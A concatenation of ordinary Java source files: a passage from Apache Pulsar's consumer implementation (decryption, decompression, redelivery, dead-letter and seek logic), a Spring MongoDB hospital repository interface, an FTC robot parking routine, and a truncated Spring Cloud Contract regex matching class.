messageId.getEntryId(), partitionIndex); log.error( "[{}][{}][{}][{}] Message delivery failed since CryptoKeyReader interface is not implemented to consume encrypted message", topic, subscription, consumerName, m); unAckedMessageTracker.add(m); return null; } } int maxDecryptedSize = msgCrypto.getMaxOutputSize(payload.readableBytes()); ByteBuf decryptedData = PulsarByteBufAllocator.DEFAULT.buffer(maxDecryptedSize); ByteBuffer nioDecryptedData = decryptedData.nioBuffer(0, maxDecryptedSize); if (msgCrypto.decrypt(() -> msgMetadata, payload.nioBuffer(), nioDecryptedData, conf.getCryptoKeyReader())) { decryptedData.writerIndex(nioDecryptedData.limit()); return decryptedData; } decryptedData.release(); switch (conf.getCryptoFailureAction()) { case CONSUME: // Note, batch message will fail to consume even if config is set to consume log.warn("[{}][{}][{}][{}] Decryption failed. Consuming encrypted message since config is set to consume.", topic, subscription, consumerName, messageId); return payload.retain(); case DISCARD: log.warn("[{}][{}][{}][{}] Discarding message since decryption failed and config is set to discard", topic, subscription, consumerName, messageId); discardMessage(messageId, currentCnx, ValidationError.DecryptionError); return null; case FAIL: MessageId m = new MessageIdImpl(messageId.getLedgerId(), messageId.getEntryId(), partitionIndex); log.error( "[{}][{}][{}][{}] Message delivery failed since unable to decrypt incoming message", topic, subscription, consumerName, m); unAckedMessageTracker.add(m); return null; } return null; } private ByteBuf uncompressPayloadIfNeeded(MessageIdData messageId, MessageMetadata msgMetadata, ByteBuf payload, ClientCnx currentCnx, boolean checkMaxMessageSize) { CompressionType compressionType = msgMetadata.getCompression(); CompressionCodec codec = CompressionCodecProvider.getCompressionCodec(compressionType); int uncompressedSize = msgMetadata.getUncompressedSize(); int payloadSize = payload.readableBytes(); if (checkMaxMessageSize && payloadSize > ClientCnx.getMaxMessageSize()) { // payload size is itself corrupted since it cannot be bigger than the MaxMessageSize log.error("[{}][{}] Got corrupted payload message size {} at {}", topic, subscription, payloadSize, messageId); discardCorruptedMessage(messageId, currentCnx, ValidationError.UncompressedSizeCorruption); return null; } try { ByteBuf uncompressedPayload = codec.decode(payload, uncompressedSize); return uncompressedPayload; } catch (IOException e) { log.error("[{}][{}] Failed to decompress message with {} at {}: {}", topic, subscription, compressionType, messageId, e.getMessage(), e); discardCorruptedMessage(messageId, currentCnx, ValidationError.DecompressionError); return null; } } private boolean verifyChecksum(ByteBuf headersAndPayload, MessageIdData messageId) { if (hasChecksum(headersAndPayload)) { int checksum = Commands.readChecksum(headersAndPayload); int computedChecksum = Crc32cIntChecksum.computeChecksum(headersAndPayload); if (checksum != computedChecksum) { log.error( "[{}][{}] Checksum mismatch for message at {}:{}. Received checksum: 0x{}, Computed checksum: 0x{}", topic, subscription, messageId.getLedgerId(), messageId.getEntryId(), Long.toHexString(checksum), Integer.toHexString(computedChecksum)); return false; } } return true; } private void discardCorruptedMessage(MessageIdData messageId, ClientCnx currentCnx, ValidationError validationError) { log.error("[{}][{}] Discarding corrupted message at {}:{}", topic, subscription, messageId.getLedgerId(), messageId.getEntryId()); discardMessage(messageId, currentCnx, validationError); } private void discardMessage(MessageIdData messageId, ClientCnx currentCnx, ValidationError validationError) { ByteBuf cmd = Commands.newAck(consumerId, messageId.getLedgerId(), messageId.getEntryId(), null, AckType.Individual, validationError, Collections.emptyMap(), -1); currentCnx.ctx().writeAndFlush(cmd, currentCnx.ctx().voidPromise()); increaseAvailablePermits(currentCnx); stats.incrementNumReceiveFailed(); } @Override String getHandlerName() { return subscription; } @Override public boolean isConnected() { return getClientCnx() != null && (getState() == State.Ready); } int getPartitionIndex() { return partitionIndex; } @Override public int getAvailablePermits() { return AVAILABLE_PERMITS_UPDATER.get(this); } @Override public int numMessagesInQueue() { return incomingMessages.size(); } @Override public void redeliverUnacknowledgedMessages() { ClientCnx cnx = cnx(); if (isConnected() && cnx.getRemoteEndpointProtocolVersion() >= ProtocolVersion.v2.getValue()) { int currentSize = 0; synchronized (this) { currentSize = incomingMessages.size(); clearIncomingMessages(); unAckedMessageTracker.clear(); } cnx.ctx().writeAndFlush(Commands.newRedeliverUnacknowledgedMessages(consumerId), cnx.ctx().voidPromise()); if (currentSize > 0) { increaseAvailablePermits(cnx, currentSize); } if (log.isDebugEnabled()) { log.debug("[{}] [{}] [{}] Redeliver unacked messages and send {} permits", subscription, topic, consumerName, currentSize); } return; } if (cnx == null || (getState() == State.Connecting)) { log.warn("[{}] Client Connection needs to be established for redelivery of unacknowledged messages", this); } else { log.warn("[{}] Reconnecting the client to redeliver the messages.", this); cnx.ctx().close(); } } public int clearIncomingMessagesAndGetMessageNumber() { int messagesNumber = incomingMessages.size(); incomingMessages.forEach(Message::release); clearIncomingMessages(); unAckedMessageTracker.clear(); return messagesNumber; } @Override public void redeliverUnacknowledgedMessages(Set<MessageId> messageIds) { if (messageIds.isEmpty()) { return; } checkArgument(messageIds.stream().findFirst().get() instanceof MessageIdImpl); if (conf.getSubscriptionType() != SubscriptionType.Shared && conf.getSubscriptionType() != SubscriptionType.Key_Shared) { // We cannot redeliver single messages if subscription type is not Shared redeliverUnacknowledgedMessages(); return; } ClientCnx cnx = cnx(); if (isConnected() && cnx.getRemoteEndpointProtocolVersion() >= ProtocolVersion.v2.getValue()) { int messagesFromQueue = removeExpiredMessagesFromQueue(messageIds); Iterable<List<MessageIdImpl>> batches = Iterables.partition( messageIds.stream() .map(messageId -> (MessageIdImpl)messageId) .collect(Collectors.toSet()), MAX_REDELIVER_UNACKNOWLEDGED); batches.forEach(ids -> { getRedeliveryMessageIdData(ids).thenAccept(messageIdData -> { if (!messageIdData.isEmpty()) { ByteBuf cmd = Commands.newRedeliverUnacknowledgedMessages(consumerId, messageIdData); cnx.ctx().writeAndFlush(cmd, cnx.ctx().voidPromise()); } }); }); if (messagesFromQueue > 0) { increaseAvailablePermits(cnx, messagesFromQueue); } if (log.isDebugEnabled()) { log.debug("[{}] [{}] [{}] Redeliver unacked messages and increase {} permits", subscription, topic, consumerName, messagesFromQueue); } return; } if (cnx == null || (getState() == State.Connecting)) { log.warn("[{}] Client Connection needs to be established for redelivery of unacknowledged messages", this); } else { log.warn("[{}] Reconnecting the client to redeliver the messages.", this); cnx.ctx().close(); } } @Override protected void completeOpBatchReceive(OpBatchReceive<T> op) { notifyPendingBatchReceivedCallBack(op); } private CompletableFuture<List<MessageIdData>> getRedeliveryMessageIdData(List<MessageIdImpl> messageIds) { if (messageIds == null || messageIds.isEmpty()) { return CompletableFuture.completedFuture(Collections.emptyList()); } List<MessageIdData> data = new ArrayList<>(messageIds.size()); List<CompletableFuture<Boolean>> futures = new ArrayList<>(messageIds.size()); messageIds.forEach(messageId -> { CompletableFuture<Boolean> future = processPossibleToDLQ(messageId); futures.add(future); future.thenAccept(sendToDLQ -> { if (!sendToDLQ) { data.add(new MessageIdData() .setPartition(messageId.getPartitionIndex()) .setLedgerId(messageId.getLedgerId()) .setEntryId(messageId.getEntryId())); } }); }); return FutureUtil.waitForAll(futures).thenCompose(v -> CompletableFuture.completedFuture(data)); } private CompletableFuture<Boolean> processPossibleToDLQ(MessageIdImpl messageId) { List<MessageImpl<T>> deadLetterMessages = null; if (possibleSendToDeadLetterTopicMessages != null) { if (messageId instanceof BatchMessageIdImpl) { messageId = new MessageIdImpl(messageId.getLedgerId(), messageId.getEntryId(), getPartitionIndex()); } deadLetterMessages = possibleSendToDeadLetterTopicMessages.get(messageId); } CompletableFuture<Boolean> result = new CompletableFuture<>(); if (deadLetterMessages != null) { initDeadLetterProducerIfNeeded(); List<MessageImpl<T>> finalDeadLetterMessages = deadLetterMessages; MessageIdImpl finalMessageId = messageId; deadLetterProducer.thenAcceptAsync(producerDLQ -> { for (MessageImpl<T> message : finalDeadLetterMessages) { String originMessageIdStr = getOriginMessageIdStr(message); String originTopicNameStr = getOriginTopicNameStr(message); producerDLQ.newMessage(Schema.AUTO_PRODUCE_BYTES(message.getReaderSchema().get())) .value(message.getData()) .properties(getPropertiesMap(message, originMessageIdStr, originTopicNameStr)) .sendAsync() .thenAccept(messageIdInDLQ -> { possibleSendToDeadLetterTopicMessages.remove(finalMessageId); acknowledgeAsync(finalMessageId).whenComplete((v, ex) -> { if (ex != null) { log.warn("[{}] [{}] [{}] Failed to acknowledge the message {} of the original topic but send to the DLQ successfully.", topicName, subscription, consumerName, finalMessageId, ex); } else { result.complete(true); } }); }).exceptionally(ex -> { log.warn("[{}] [{}] [{}] Failed to send DLQ message to {} for message id {}", topicName, subscription, consumerName, finalMessageId, ex); result.complete(false); return null; }); } }).exceptionally(ex -> { log.error("Dead letter producer exception with topic: {}", deadLetterPolicy.getDeadLetterTopic(), ex); deadLetterProducer = null; result.complete(false); return null; }); } else { result.complete(false); } return result; } private void initDeadLetterProducerIfNeeded() { if (deadLetterProducer == null) { createProducerLock.writeLock().lock(); try { if (deadLetterProducer == null) { deadLetterProducer = client.newProducer(Schema.AUTO_PRODUCE_BYTES(schema)) .topic(this.deadLetterPolicy.getDeadLetterTopic()) .blockIfQueueFull(false) .createAsync(); } } finally { createProducerLock.writeLock().unlock(); } } } @Override public void seek(MessageId messageId) throws PulsarClientException { try { seekAsync(messageId).get(); } catch (Exception e) { throw PulsarClientException.unwrap(e); } } @Override public void seek(long timestamp) throws PulsarClientException { try { seekAsync(timestamp).get(); } catch (Exception e) { throw PulsarClientException.unwrap(e); } } @Override public void seek(Function<String, Object> function) throws PulsarClientException { try { seekAsync(function).get(); } catch (Exception e) { throw PulsarClientException.unwrap(e); } } @Override public CompletableFuture<Void> seekAsync(Function<String, Object> function) { if (function == null) { return FutureUtil.failedFuture(new PulsarClientException("Function must be set")); } Object seekPosition = function.apply(topic); if (seekPosition == null) { return CompletableFuture.completedFuture(null); } if (seekPosition instanceof MessageId) { return seekAsync((MessageId) seekPosition); } else if (seekPosition.getClass().getTypeName() .equals(Long.class.getTypeName())) { return seekAsync((long) seekPosition); } return FutureUtil.failedFuture( new PulsarClientException("Only support seek by messageId or timestamp")); } private Optional<CompletableFuture<Void>> seekAsyncCheckState(String seekBy) { if (getState() == State.Closing || getState() == State.Closed) { return Optional.of(FutureUtil .failedFuture(new PulsarClientException.AlreadyClosedException( String.format("The consumer %s was already closed when seeking the subscription %s of the" + " topic %s to %s", consumerName, subscription, topicName.toString(), seekBy)))); } if (!isConnected()) { return Optional.of(FutureUtil.failedFuture(new PulsarClientException( String.format("The client is not connected to the broker when seeking the subscription %s of the " + "topic %s to %s", subscription, topicName.toString(), seekBy)))); } return Optional.empty(); } private CompletableFuture<Void> seekAsyncInternal(long requestId, ByteBuf seek, MessageId seekId, String seekBy) { final CompletableFuture<Void> seekFuture = new CompletableFuture<>(); ClientCnx cnx = cnx(); log.info("[{}][{}] Seek subscription to {}", topic, subscription, seekBy); cnx.sendRequestWithId(seek, requestId).thenRun(() -> { log.info("[{}][{}] Successfully reset subscription to {}", topic, subscription, seekBy); acknowledgmentsGroupingTracker.flushAndClean(); seekMessageId = new BatchMessageIdImpl((MessageIdImpl) seekId); duringSeek.set(true); lastDequeuedMessageId = MessageId.earliest; clearIncomingMessages(); seekFuture.complete(null); }).exceptionally(e -> { log.error("[{}][{}] Failed to reset subscription: {}", topic, subscription, e.getCause().getMessage()); seekFuture.completeExceptionally( PulsarClientException.wrap(e.getCause(), String.format("Failed to seek the subscription %s of the topic %s to %s", subscription, topicName.toString(), seekBy))); return null; }); return seekFuture; } @Override public CompletableFuture<Void> seekAsync(long timestamp) { String seekBy = String.format("the timestamp %d", timestamp); return seekAsyncCheckState(seekBy).orElseGet(() -> { long requestId = client.newRequestId(); return seekAsyncInternal(requestId, Commands.newSeek(consumerId, requestId, timestamp), MessageId.earliest, seekBy); }); } @Override public CompletableFuture<Void> seekAsync(MessageId messageId) { String seekBy = String.format("the message %s", messageId.toString()); return seekAsyncCheckState(seekBy).orElseGet(() -> { long requestId = client.newRequestId(); ByteBuf seek = null; if (messageId instanceof BatchMessageIdImpl) { BatchMessageIdImpl msgId = (BatchMessageIdImpl) messageId; // Initialize ack set BitSetRecyclable ackSet = BitSetRecyclable.create(); ackSet.set(0, msgId.getBatchSize()); ackSet.clear(0, Math.max(msgId.getBatchIndex(), 0)); long[] ackSetArr = ackSet.toLongArray(); ackSet.recycle(); seek = Commands.newSeek(consumerId, requestId, msgId.getLedgerId(), msgId.getEntryId(), ackSetArr); } else { MessageIdImpl msgId = (MessageIdImpl) messageId; seek = Commands.newSeek(consumerId, requestId, msgId.getLedgerId(), msgId.getEntryId(), new long[0]); } return seekAsyncInternal(requestId, seek, messageId, seekBy); }); } public boolean hasMessageAvailable() throws PulsarClientException { try { return hasMessageAvailableAsync().get(); } catch (Exception e) { throw PulsarClientException.unwrap(e); } } public CompletableFuture<Boolean> hasMessageAvailableAsync() { final CompletableFuture<Boolean> booleanFuture = new CompletableFuture<>(); // we haven't read yet. use startMessageId for comparison if (lastDequeuedMessageId == MessageId.earliest) { // if we are starting from latest, we should seek to the actual last message first. // allow the last one to be read when read head inclusively. if (startMessageId.equals(MessageId.latest)) { CompletableFuture<GetLastMessageIdResponse> future = internalGetLastMessageIdAsync(); // if the consumer is configured to read inclusive then we need to seek to the last message if (resetIncludeHead) { future = future.thenCompose((lastMessageIdResponse) -> seekAsync(lastMessageIdResponse.lastMessageId) .thenApply((ignore) -> lastMessageIdResponse)); } future.thenAccept(response -> { MessageIdImpl lastMessageId = MessageIdImpl.convertToMessageIdImpl(response.lastMessageId); MessageIdImpl markDeletePosition = MessageIdImpl .convertToMessageIdImpl(response.markDeletePosition); if (markDeletePosition != null) { // we only care about comparing ledger ids and entry ids as mark delete position doesn't have other ids such as batch index int result = ComparisonChain.start() .compare(markDeletePosition.getLedgerId(), lastMessageId.getLedgerId()) .compare(markDeletePosition.getEntryId(), lastMessageId.getEntryId()) .result(); if (lastMessageId.getEntryId() < 0) { booleanFuture.complete(false); } else { booleanFuture.complete(resetIncludeHead ? result <= 0 : result < 0); } } else if (lastMessageId == null || lastMessageId.getEntryId() < 0) { booleanFuture.complete(false); } else { booleanFuture.complete(resetIncludeHead); } }).exceptionally(ex -> { log.error("[{}][{}] Failed getLastMessageId command", topic, subscription, ex); booleanFuture.completeExceptionally(ex.getCause()); return null; }); return booleanFuture; } if (hasMoreMessages(lastMessageIdInBroker, startMessageId, resetIncludeHead)) { booleanFuture.complete(true); return booleanFuture; } getLastMessageIdAsync().thenAccept(messageId -> { lastMessageIdInBroker = messageId; if (hasMoreMessages(lastMessageIdInBroker, startMessageId, resetIncludeHead)) { booleanFuture.complete(true); } else { booleanFuture.complete(false); } }).exceptionally(e -> { log.error("[{}][{}] Failed getLastMessageId command", topic, subscription); booleanFuture.completeExceptionally(e.getCause()); return null; }); } else { // read before, use lastDequeueMessage for comparison if (hasMoreMessages(lastMessageIdInBroker, lastDequeuedMessageId, false)) { booleanFuture.complete(true); return booleanFuture; } getLastMessageIdAsync().thenAccept(messageId -> { lastMessageIdInBroker = messageId; if (hasMoreMessages(lastMessageIdInBroker, lastDequeuedMessageId, false)) { booleanFuture.complete(true); } else { booleanFuture.complete(false); } }).exceptionally(e -> { log.error("[{}][{}] Failed getLastMessageId command", topic, subscription); booleanFuture.completeExceptionally(e.getCause()); return null; }); } return booleanFuture; } private boolean hasMoreMessages(MessageId lastMessageIdInBroker, MessageId messageId, boolean inclusive) { if (inclusive && lastMessageIdInBroker.compareTo(messageId) >= 0 && ((MessageIdImpl) lastMessageIdInBroker).getEntryId() != -1) { return true; } if (!inclusive && lastMessageIdInBroker.compareTo(messageId) > 0 && ((MessageIdImpl) lastMessageIdInBroker).getEntryId() != -1) { return true; } return false; } private static final class GetLastMessageIdResponse { final MessageId lastMessageId; final MessageId markDeletePosition; GetLastMessageIdResponse(MessageId lastMessageId, MessageId markDeletePosition) { this.lastMessageId = lastMessageId; this.markDeletePosition = markDeletePosition; } } @Override public CompletableFuture<MessageId> getLastMessageIdAsync() { return internalGetLastMessageIdAsync().thenApply(r -> r.lastMessageId); } public CompletableFuture<GetLastMessageIdResponse> internalGetLastMessageIdAsync() { if (getState() == State.Closing || getState() == State.Closed) { return FutureUtil .failedFuture(new PulsarClientException.AlreadyClosedException( String.format("The consumer %s was already closed when the subscription %s of the topic %s " + "getting the last message id", consumerName, subscription, topicName.toString()))); } AtomicLong opTimeoutMs = new AtomicLong(client.getConfiguration().getOperationTimeoutMs()); Backoff backoff = new BackoffBuilder() .setInitialTime(100, TimeUnit.MILLISECONDS) .setMax(opTimeoutMs.get() * 2, TimeUnit.MILLISECONDS) .setMandatoryStop(0, TimeUnit.MILLISECONDS) .create(); CompletableFuture<GetLastMessageIdResponse> getLastMessageIdFuture = new CompletableFuture<>(); internalGetLastMessageIdAsync(backoff, opTimeoutMs, getLastMessageIdFuture); return getLastMessageIdFuture; } private void internalGetLastMessageIdAsync(final Backoff backoff, final AtomicLong remainingTime, CompletableFuture<GetLastMessageIdResponse> future) { ClientCnx cnx = cnx(); if (isConnected() && cnx != null) { if (!Commands.peerSupportsGetLastMessageId(cnx.getRemoteEndpointProtocolVersion())) { future.completeExceptionally( new PulsarClientException.NotSupportedException( String.format("The command `GetLastMessageId` is not supported for the protocol version %d. " + "The consumer is %s, topic %s, subscription %s", cnx.getRemoteEndpointProtocolVersion(), consumerName, topicName.toString(), subscription))); return; } long requestId = client.newRequestId(); ByteBuf getLastIdCmd = Commands.newGetLastMessageId(consumerId, requestId); log.info("[{}][{}] Get topic last message Id", topic, subscription); cnx.sendGetLastMessageId(getLastIdCmd, requestId).thenAccept(cmd -> { MessageIdData lastMessageId = cmd.getLastMessageId(); MessageIdImpl markDeletePosition = null; if (cmd.hasConsumerMarkDeletePosition()) { markDeletePosition = new MessageIdImpl(cmd.getConsumerMarkDeletePosition().getLedgerId(), cmd.getConsumerMarkDeletePosition().getEntryId(), -1); } log.info("[{}][{}] Successfully getLastMessageId {}:{}", topic, subscription, lastMessageId.getLedgerId(), lastMessageId.getEntryId()); MessageId lastMsgId = lastMessageId.getBatchIndex() <= 0 ? new MessageIdImpl(lastMessageId.getLedgerId(), lastMessageId.getEntryId(), lastMessageId.getPartition()) : new BatchMessageIdImpl(lastMessageId.getLedgerId(), lastMessageId.getEntryId(), lastMessageId.getPartition(), lastMessageId.getBatchIndex()); future.complete(new GetLastMessageIdResponse(lastMsgId, markDeletePosition)); }).exceptionally(e -> { log.error("[{}][{}] Failed getLastMessageId command", topic, subscription); future.completeExceptionally( PulsarClientException.wrap(e.getCause(), String.format("The subscription %s of the topic %s gets the last message id was failed", subscription, topicName.toString()))); return null; }); } else { long nextDelay = Math.min(backoff.next(), remainingTime.get()); if (nextDelay <= 0) { future.completeExceptionally( new PulsarClientException.TimeoutException( String.format("The subscription %s of the topic %s could not get the last message id " + "withing configured timeout", subscription, topicName.toString()))); return; } pinnedExecutor.schedule(() -> { log.warn("[{}] [{}] Could not get connection while getLastMessageId -- Will try again in {} ms", topic, getHandlerName(), nextDelay); remainingTime.addAndGet(-nextDelay); internalGetLastMessageIdAsync(backoff, remainingTime, future); }, nextDelay, TimeUnit.MILLISECONDS); } } private MessageIdImpl getMessageIdImpl(Message<?> msg) { MessageIdImpl messageId = (MessageIdImpl) msg.getMessageId(); if (messageId instanceof BatchMessageIdImpl) { // messageIds contain MessageIdImpl, not BatchMessageIdImpl messageId = new MessageIdImpl(messageId.getLedgerId(), messageId.getEntryId(), getPartitionIndex()); } return messageId; } private boolean isMessageUndecryptable(MessageMetadata msgMetadata) { return (msgMetadata.getEncryptionKeysCount() > 0 && conf.getCryptoKeyReader() == null && conf.getCryptoFailureAction() == ConsumerCryptoFailureAction.CONSUME); } /** * Create EncryptionContext if message payload is encrypted * * @param msgMetadata * @return {@link Optional}<{@link EncryptionContext}> */ private Optional<EncryptionContext> createEncryptionContext(MessageMetadata msgMetadata) { EncryptionContext encryptionCtx = null; if (msgMetadata.getEncryptionKeysCount() > 0) { encryptionCtx = new EncryptionContext(); Map<String, EncryptionKey> keys = msgMetadata.getEncryptionKeysList().stream() .collect( Collectors.toMap(EncryptionKeys::getKey, e -> new EncryptionKey(e.getValue(), e.getMetadatasList().stream().collect( Collectors.toMap(KeyValue::getKey, KeyValue::getValue))))); byte[] encParam = msgMetadata.getEncryptionParam(); Optional<Integer> batchSize = Optional .ofNullable(msgMetadata.hasNumMessagesInBatch() ? msgMetadata.getNumMessagesInBatch() : null); encryptionCtx.setKeys(keys); encryptionCtx.setParam(encParam); if (msgMetadata.hasEncryptionAlgo()) { encryptionCtx.setAlgorithm(msgMetadata.getEncryptionAlgo()); } encryptionCtx .setCompressionType(CompressionCodecProvider.convertFromWireProtocol(msgMetadata.getCompression())); encryptionCtx.setUncompressedMessageSize(msgMetadata.getUncompressedSize()); encryptionCtx.setBatchSize(batchSize); } return Optional.ofNullable(encryptionCtx); } private int removeExpiredMessagesFromQueue(Set<MessageId> messageIds) { int messagesFromQueue = 0; Message<T> peek = incomingMessages.peek(); if (peek != null) { MessageIdImpl messageId = getMessageIdImpl(peek); if (!messageIds.contains(messageId)) { // first message is not expired, then no message is expired in queue. return 0; } // try not to remove elements that are added while we remove Message<T> message = incomingMessages.poll(); while (message != null) { decreaseIncomingMessageSize(message); messagesFromQueue++; MessageIdImpl id = getMessageIdImpl(message); if (!messageIds.contains(id)) { messageIds.add(id); break; } message.release(); message = incomingMessages.poll(); } } return messagesFromQueue; } @Override public ConsumerStatsRecorder getStats() { return stats; } void setTerminated() { log.info("[{}] [{}] [{}] Consumer has reached the end of topic", subscription, topic, consumerName); hasReachedEndOfTopic = true; if (listener != null) { // Propagate notification to listener listener.reachedEndOfTopic(this); } } @Override public boolean hasReachedEndOfTopic() { return hasReachedEndOfTopic; } @Override public int hashCode() { return Objects.hash(topic, subscription, consumerName); } @Override public boolean equals(Object o) { if (this == o) return true; if (!(o instanceof ConsumerImpl)) return false; ConsumerImpl<?> consumer = (ConsumerImpl<?>) o; return consumerId == consumer.consumerId; } // wrapper for connection methods ClientCnx cnx() { return this.connectionHandler.cnx(); } void resetBackoff() { this.connectionHandler.resetBackoff(); } void connectionClosed(ClientCnx cnx) { this.connectionHandler.connectionClosed(cnx); } @VisibleForTesting public ClientCnx getClientCnx() { return this.connectionHandler.cnx(); } void setClientCnx(ClientCnx clientCnx) { if (clientCnx != null) { this.connectionHandler.setClientCnx(clientCnx); clientCnx.registerConsumer(consumerId, this); if (conf.isAckReceiptEnabled() && !Commands.peerSupportsAckReceipt(clientCnx.getRemoteEndpointProtocolVersion())) { log.warn("Server don't support ack for receipt! " + "ProtoVersion >=17 support! nowVersion : {}", clientCnx.getRemoteEndpointProtocolVersion()); } } ClientCnx previousClientCnx = clientCnxUsedForConsumerRegistration.getAndSet(clientCnx); if (previousClientCnx != null && previousClientCnx != clientCnx) { previousClientCnx.removeConsumer(consumerId); } } void deregisterFromClientCnx() { setClientCnx(null); } void reconnectLater(Throwable exception) { this.connectionHandler.reconnectLater(exception); } void grabCnx() { this.connectionHandler.grabCnx(); } public String getTopicNameWithoutPartition() { return topicNameWithoutPartition; } static class ChunkedMessageCtx { protected int totalChunks = -1; protected ByteBuf chunkedMsgBuffer; protected int lastChunkedMessageId = -1; protected MessageIdImpl[] chunkedMessageIds; protected long receivedTime = 0; static ChunkedMessageCtx get(int numChunksFromMsg, ByteBuf chunkedMsgBuffer) { ChunkedMessageCtx ctx = RECYCLER.get(); ctx.totalChunks = numChunksFromMsg; ctx.chunkedMsgBuffer = chunkedMsgBuffer; ctx.chunkedMessageIds = new MessageIdImpl[numChunksFromMsg]; ctx.receivedTime = System.currentTimeMillis(); return ctx; } private final Handle<ChunkedMessageCtx> recyclerHandle; private ChunkedMessageCtx(Handle<ChunkedMessageCtx> recyclerHandle) { this.recyclerHandle = recyclerHandle; } private static final Recycler<ChunkedMessageCtx> RECYCLER = new Recycler<ChunkedMessageCtx>() { protected ChunkedMessageCtx newObject(Recycler.Handle<ChunkedMessageCtx> handle) { return new ChunkedMessageCtx(handle); } }; public void recycle() { this.totalChunks = -1; this.chunkedMsgBuffer = null; this.lastChunkedMessageId = -1; recyclerHandle.recycle(this); } } private void removeOldestPendingChunkedMessage() { ChunkedMessageCtx chunkedMsgCtx = null; String firstPendingMsgUuid = null; while (chunkedMsgCtx == null && !pendingChunkedMessageUuidQueue.isEmpty()) { // remove oldest pending chunked-message group and free memory firstPendingMsgUuid = pendingChunkedMessageUuidQueue.poll(); chunkedMsgCtx = StringUtils.isNotBlank(firstPendingMsgUuid) ? chunkedMessagesMap.get(firstPendingMsgUuid) : null; } removeChunkMessage(firstPendingMsgUuid, chunkedMsgCtx, this.autoAckOldestChunkedMessageOnQueueFull); } protected void removeExpireIncompleteChunkedMessages() { if (expireTimeOfIncompleteChunkedMessageMillis <= 0) { return; } ChunkedMessageCtx chunkedMsgCtx = null; String messageUUID; while ((messageUUID = pendingChunkedMessageUuidQueue.peek()) != null) { chunkedMsgCtx = StringUtils.isNotBlank(messageUUID) ? chunkedMessagesMap.get(messageUUID) : null; if (chunkedMsgCtx != null && System .currentTimeMillis() > (chunkedMsgCtx.receivedTime + expireTimeOfIncompleteChunkedMessageMillis)) { pendingChunkedMessageUuidQueue.remove(messageUUID); removeChunkMessage(messageUUID, chunkedMsgCtx, true); } else { return; } } } private void removeChunkMessage(String msgUUID, ChunkedMessageCtx chunkedMsgCtx, boolean autoAck) { if (chunkedMsgCtx == null) { return; } // clean up pending chuncked-Message chunkedMessagesMap.remove(msgUUID); if (chunkedMsgCtx.chunkedMessageIds != null) { for (MessageIdImpl msgId : chunkedMsgCtx.chunkedMessageIds) { if (msgId == null) { continue; } if (autoAck) { log.info("Removing chunk message-id {}", msgId); doAcknowledge(msgId, AckType.Individual, Collections.emptyMap(), null); } else { trackMessage(msgId); } } } if (chunkedMsgCtx.chunkedMsgBuffer != null) { chunkedMsgCtx.chunkedMsgBuffer.release(); } chunkedMsgCtx.recycle(); pendingChunkedMessageCount--; } private CompletableFuture<Void> doTransactionAcknowledgeForResponse(MessageId messageId, AckType ackType, ValidationError validationError, Map<String, Long> properties, TxnID txnID) { BitSetRecyclable bitSetRecyclable = null; long ledgerId; long entryId; ByteBuf cmd; long requestId = client.newRequestId(); if (messageId instanceof BatchMessageIdImpl) { BatchMessageIdImpl batchMessageId = (BatchMessageIdImpl) messageId; bitSetRecyclable = BitSetRecyclable.create(); ledgerId = batchMessageId.getLedgerId(); entryId = batchMessageId.getEntryId(); if (ackType == AckType.Cumulative) { batchMessageId.ackCumulative(); bitSetRecyclable.set(0, batchMessageId.getBatchSize()); bitSetRecyclable.clear(0, batchMessageId.getBatchIndex() + 1); } else { bitSetRecyclable.set(0, batchMessageId.getBatchSize()); bitSetRecyclable.clear(batchMessageId.getBatchIndex()); } cmd = Commands.newAck(consumerId, ledgerId, entryId, bitSetRecyclable, ackType, validationError, properties, txnID.getLeastSigBits(), txnID.getMostSigBits(), requestId, batchMessageId.getBatchSize()); bitSetRecyclable.recycle(); } else { MessageIdImpl singleMessage = (MessageIdImpl) messageId; ledgerId = singleMessage.getLedgerId(); entryId = singleMessage.getEntryId(); cmd = Commands.newAck(consumerId, ledgerId, entryId, bitSetRecyclable, ackType, validationError, properties, txnID.getLeastSigBits(), txnID.getMostSigBits(), requestId); } if (ackType == AckType.Cumulative) { unAckedMessageTracker.removeMessagesTill(messageId); } else { unAckedMessageTracker.remove(messageId); } return cnx().newAckForReceipt(cmd, requestId); } public Map<MessageIdImpl, List<MessageImpl<T>>> getPossibleSendToDeadLetterTopicMessages() { return possibleSendToDeadLetterTopicMessages; } private static final Logger log = LoggerFactory.getLogger(ConsumerImpl.class); }
package com.cognizant.emergencyHelpline.repositories; import java.util.List; import org.springframework.data.mongodb.repository.MongoRepository; import org.springframework.stereotype.Repository; import com.cognizant.emergencyHelpline.collections.HospitalDetails; @Repository public interface HospitalRepository extends MongoRepository<HospitalDetails, String> { List<HospitalDetails> findAll(); HospitalDetails findByHospitalRegnNo(String hospitalRegnNo); }
package org.firstinspires.ftc.teamcode.auto; import org.firstinspires.ftc.teamcode.bot.components.Robot; public class MainParkingAuto { Robot bot; Side side; boolean park_on_wall; public MainParkingAuto(Robot bot, Side side, boolean wall_park) { this.side = side; this.bot = bot; this.park_on_wall = wall_park; } public void run() { bot.raise_foundations(); if (!park_on_wall) bot.drive_forward(0.5, 20); bot.pause(2000); bot.strafe_right(0.5, side.coeff*15); } }
/* * Copyright 2013-2019 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.springframework.cloud.contract.spec.internal; /** * Matching type with corresponding values. */ public class RegexMatchingTypeValue extends MatchingTypeValue { RegexMatchingTypeValue(MatchingType type, Object value, Integer minTypeOccurrence, Integer maxTypeOccurrence) { super(type, value, minTypeOccurrence, maxTypeOccurrence); } RegexMatchingTypeValue(MatchingType type, Object value) { super(type, value); } public RegexMatchingTypeValue asInteger() { return typed(Integer.class); } private RegexMatchingTypeValue typed(Class clazz) { if (!(this.getValue() instanceof RegexProperty)) { throw new IllegalStateException("Value has to be a regex"); } RegexProperty regexProperty = (RegexProperty) this.getValue(); return new RegexMatchingTypeValue(this.getType(), new RegexProperty(regexProperty.getClientValue(), regexProperty.getServerValue(), clazz), this.getMinTypeOccurrence(), this.getMaxTypeOccurrence()); } public RegexMatchingTypeValue asDouble() { return typed(Double.class); } public RegexMatchingTypeValue asFloat() { return typed(Float.class); } public RegexMatchingTypeValue asLong() { return typed(Long.class); } public RegexMatchingTypeValue asShort() { return typed(Short.class); } public RegexMatchingTypeValue asString() { return typed(String.class); } 